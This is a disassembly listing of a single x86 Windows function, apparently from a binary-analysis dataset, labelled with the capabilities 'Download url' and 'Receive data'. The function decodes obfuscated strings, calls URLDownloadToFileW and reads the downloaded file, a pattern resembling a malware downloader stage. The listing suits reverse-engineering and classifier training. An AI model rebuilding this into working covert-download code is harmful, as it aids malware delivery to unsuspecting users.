Function at 0x406c20
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x448c58
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x128
push ebx
push esi
push edi
mov dword [ebp - 0x18], ecx
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x40720a
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x54], eax
mov dword [ebp - 4], 0
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x407214
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x20], eax
push str.cE5ZWehE7MLRUvBOykeBETo85CA
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 1
call fcn.004038c0
test al, al
jne 0x406ca3
push 0x1d
push str.cE5ZWehE7MLRUvBOykeBETo85CA
lea ecx, [ebp - 0x20]
call fcn.00403de0
mov byte [ebp - 4], 2
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x40721e
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x28], eax
push str.NE55UUVw6kDSFHQdFZsRC0YAIURgbCiVbxPBxlUi8mHJ1E8DCjhbiIFchPXD5GZNkEnGHWwRdOQp3WRisK1bFgnIFzoSRIBYylVS0RzNAlr7HQ
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 3
call fcn.004038c0
test al, al
jne 0x406ce5
push 0x72
push str.NE55UUVw6kDSFHQdFZsRC0YAIURgbCiVbxPBxlUi8mHJ1E8DCjhbiIFchPXD5GZNkEnGHWwRdOQp3WRisK1bFgnIFzoSRIBYylVS0RzNAlr7HQ
lea ecx, [ebp - 0x28]
call fcn.00403de0
mov byte [ebp - 4], 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
mov eax, dword [ebp - 0x28]
push 0x45d9a0
push ecx
add eax, 0xfffffff0
mov esi, esp
mov dword [ebp - 0x38], esi
mov ecx, eax
mov dword [ebp - 0x38], eax
call fcn.0040afe0
add eax, 0x10
lea ecx, [ebp - 0x14]
mov dword [esi], eax
call fcn.004023d0
add esp, 4
mov byte [ebp - 4], 5
push dword [eax]
lea eax, [ebp - 0x54]
push eax
call fcn.0040b360
mov byte [ebp - 4], 4
or ebx, 0xffffffff
mov edx, dword [ebp - 0x14]
add esp, 0x10
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406d4e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x407228
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x2c], eax
push str.VnI4YZAo26VDIzEABYQdLgY
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 6
call fcn.004038c0
test al, al
jne 0x406d8c
push 0x18
push str.VnI4YZAo26VDIzEABYQdLgY
lea ecx, [ebp - 0x2c]
call fcn.00403de0
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0x2c]
push ecx
add eax, 0xfffffff0
mov esi, esp
mov dword [ebp - 0x34], esi
mov ecx, eax
mov dword [ebp - 0x34], eax
call fcn.0040afe0
add eax, 0x10
lea ecx, [ebp - 0x5c]
mov dword [esi], eax
call fcn.004023d0
add esp, 4
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 8
call fcn.0040a460
add esp, 4
mov byte [ebp - 4], 0xa
mov eax, ebx
mov edx, dword [ebp - 0x5c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406de4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [ebp - 0x54]
push 0
push 0
push dword [ebp - 0x30]
push edi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
je 0x406ed8
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x407232
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
push str.U0c1xbj8uZWwUMYI1kxkNjVHlASE
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0xb
call fcn.004038c0
test al, al
jne 0x406e3d
push 0x1d
push str.U0c1xbj8uZWwUMYI1kxkNjVHlASE
lea ecx, [ebp - 0x14]
call fcn.00403de0
push ecx
mov byte [ebp - 4], 0xc
mov ecx, esp
mov dword [ebp - 0x1c], esp
push 0x453b76
call fcn.00403000
push ecx
mov byte [ebp - 4], 0xd
mov ebx, esp
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x60], esp
add eax, 0xfffffff0
push ecx
mov esi, esp
mov ecx, eax
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x18], eax
call fcn.0040afe0
add eax, 0x10
mov ecx, ebx
mov dword [esi], eax
call fcn.004023d0
mov dword [ebp - 0x24], esp
push ecx
mov byte [ebp - 4], 0xe
mov ebx, esp
mov dword [ebp - 0x58], ebx
mov esi, dword [ebp - 0x20]
lea ecx, [esi - 0x10]
call fcn.0040afe0
mov ecx, dword [ebp - 0x24]
add eax, 0x10
mov dword [ebx], eax
call fcn.004023d0
add esp, 4
mov byte [ebp - 4], 0xc
call fcn.00407260
mov edx, dword [ebp - 0x18]
or ebx, 0xffffffff
add esp, 0xc
mov byte [ebp - 4], 0xa
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x406ecf
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 0xd], 0
jmp 0x40716b
sub esp, 0xc
lea ecx, [ebp - 0x130]
push dword [ebp - 0x30]
call fcn.0040a100
xor eax, eax
mov ecx, 0xf
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov byte [ebp - 0x50], al
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0xd4], eax
je 0x406f5a
lea edx, [ebp - 0x50]
lea ecx, [ebp - 0x130]
call fcn.0040b4a0
lea ecx, [ebp - 0x120]
call fcn.0040ad10
test eax, eax
jne 0x406f57
mov eax, dword [ebp - 0x130]
lea ecx, [ebp - 0x130]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00405620
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x50]
lea esi, [ebp - 0x50]
cmp ecx, 0x10
jb 0x406f67
mov esi, edx
mov eax, dword [ebp - 0x40]
add eax, esi
lea esi, [ebp - 0x50]
cmp ecx, 0x10
jb 0x406f76
mov esi, edx
push ecx
push eax
push esi
lea ecx, [ebp - 0x78]
call fcn.0040b540
mov esi, dword [ebp - 0x18]
mov ecx, esi
push eax
call fcn.0040a640
mov ecx, dword [ebp - 0x64]
cmp ecx, 8
jb 0x406fc6
mov edx, dword [ebp - 0x78]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x406fbc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40723c
push ecx
push edx
call fcn.00423d09
add esp, 8
cmp dword [esi + 0x10], 0
mov esi, dword [ebp - 0x20]
je 0x406fd8
mov byte [ebp - 0xd], 1
jmp 0x4070ab
call fcn.00401620
mov ecx, eax
test ecx, ecx
je 0x407241
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
push str.c2Y2kTxYLmRjsKlOVomPHQ0
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 0x11
call fcn.004038c0
test al, al
jne 0x407016
push 0x18
push str.c2Y2kTxYLmRjsKlOVomPHQ0
lea ecx, [ebp - 0x14]
call fcn.00403de0
push ecx
mov byte [ebp - 4], 0x12
mov ecx, esp
mov dword [ebp - 0x58], esp
push 0x453b77
call fcn.00403000
push ecx
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x60], esp
mov dword [ebp - 0x18], esp
push ecx
mov ebx, esp
mov dword [ebp - 0x1c], ebx
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0040afe0
mov ecx, dword [ebp - 0x18]
add eax, 0x10
mov dword [ebx], eax
call fcn.004023d0
mov dword [ebp - 0x18], esp
push ecx
mov byte [ebp - 4], 0x14
lea ecx, [esi - 0x10]
mov ebx, esp
mov dword [ebp - 0x1c], ebx
call fcn.0040afe0
mov ecx, dword [ebp - 0x18]
add eax, 0x10
mov dword [ebx], eax
call fcn.004023d0
add esp, 4
mov byte [ebp - 4], 0x12
call fcn.00407260
mov edx, dword [ebp - 0x24]
or ebx, 0xffffffff
add esp, 0xc
mov byte [ebp - 0xd], 0
mov byte [ebp - 4], 0x10
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4070ab
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x4070e3
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4070d9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40724b
push ecx
push edx
call fcn.00423d09
add esp, 8
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x134], eax
lea ecx, [ebp - 0x120]
call fcn.00409db0
mov eax, dword [ebp - 0x130]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x134], eax
lea eax, [ebp - 0xc0]
mov byte [ebp - 4], 0x15
push eax
mov dword [ebp - 0xc0], vtable.std::ios_base.0
call fcn.0040fd55
add esp, 4
mov byte [ebp - 4], 7
mov eax, ebx
mov edx, dword [ebp - 0x30]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407189
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x34]
mov eax, ebx
mov byte [ebp - 4], 4
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4071a4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x38]
mov eax, ebx
mov byte [ebp - 4], 2
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4071bf
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x4071da
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
add edi, 0xfffffff0
lock xadd dword [edi + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x4071f6
mov ecx, dword [edi]
push edi
mov edx, dword [ecx]
call dword [edx + 4]
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0xd]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.004013f0
push 0x80004005
call fcn.004013f0
push 0x80004005
call fcn.004013f0
push 0x80004005
call fcn.004013f0
push 0x80004005
call fcn.004013f0
call fcn.004288c3
push 0x80004005
call fcn.004013f0
call fcn.004288c3
int3